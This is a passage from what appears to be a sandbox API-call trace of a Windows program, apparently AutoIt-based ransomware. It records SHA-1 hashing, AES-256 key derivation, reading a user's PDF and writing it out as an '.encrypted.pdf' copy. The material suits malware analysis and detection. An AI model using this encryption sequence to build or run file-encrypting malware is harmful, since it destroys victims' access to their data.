hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.381] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.381] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.381] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.381] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.381] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.381] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.381] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.381] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.381] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.382] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.382] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.382] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.382] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.382] CryptCreateHash (in: hProv=0xe8f406a550, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.382] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.382] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.382] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.382] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.382] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.382] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.382] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.382] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.382] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.382] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.382] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418bb40, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.382] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.382] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.382] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.382] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.382] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.382] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.382] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.382] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.382] CryptDeriveKey (in: hProv=0xe8f406a550, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062aa0) returned 1 [0024.382] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.382] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.382] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.382] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.383] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.383] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.383] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.383] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.383] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0024.383] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.384] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.384] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.384] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.384] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.384] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\DpJxT01PYg1DSU8dGdRx.pdf" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\gifhucqicytovjewuyw\\dpjxt01pyg1dsu8dgdrx.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.384] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.384] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.384] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.385] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.385] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.385] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\gifhucqicytovjewuyw")) returned 0x10 [0024.385] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\DpJxT01PYg1DSU8dGdRx.encrypted.pdf" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\gifhucqicytovjewuyw\\dpjxt01pyg1dsu8dgdrx.encrypted.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.385] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.385] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.385] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.385] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.387] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.387] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x6ab6, lpOverlapped=0x0) returned 1 [0024.388] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.389] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.389] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.389] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.389] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.390] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.390] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.390] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.390] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.390] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.390] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.391] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.391] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.391] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.391] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.391] CryptGetKeyParam (in: hKey=0xe8f4062aa0, dwParam=0x7, pbData=0xe8f4064c10, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c10*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.391] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.391] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.391] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.391] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.391] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.391] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.391] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.392] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.392] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.392] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.392] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.392] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.392] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.392] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.392] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.392] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.392] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.392] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.392] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.392] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.392] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.392] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.392] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.392] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.392] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.392] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x6ab6, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x6ac0) returned 1 [0024.392] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.392] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.392] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.392] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.392] CharLowerBuffW (in: lpsz="byte[27329]", cchLength=0xb | out: lpsz="byte[27329]") returned 0xb [0024.392] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.393] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.393] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.393] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.393] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.393] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41cdf50*, pdwDataLen=0xe8f3dfdf68*=0x6ab6, dwBufLen=0x6ac0 | out: pbData=0xe8f41cdf50*, pdwDataLen=0xe8f3dfdf68*=0x6ac0) returned 1 [0024.393] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.393] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.393] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.393] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.393] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.393] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.393] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.393] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.393] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.393] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.393] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.393] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.393] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.393] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.394] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.394] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.394] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.396] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.396] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.396] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.397] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.397] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.397] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.397] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.397] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.397] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.397] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.397] CryptDestroyKey (hKey=0xe8f4062aa0) returned 1 [0024.397] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.397] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.397] CharUpperBuffW (in: 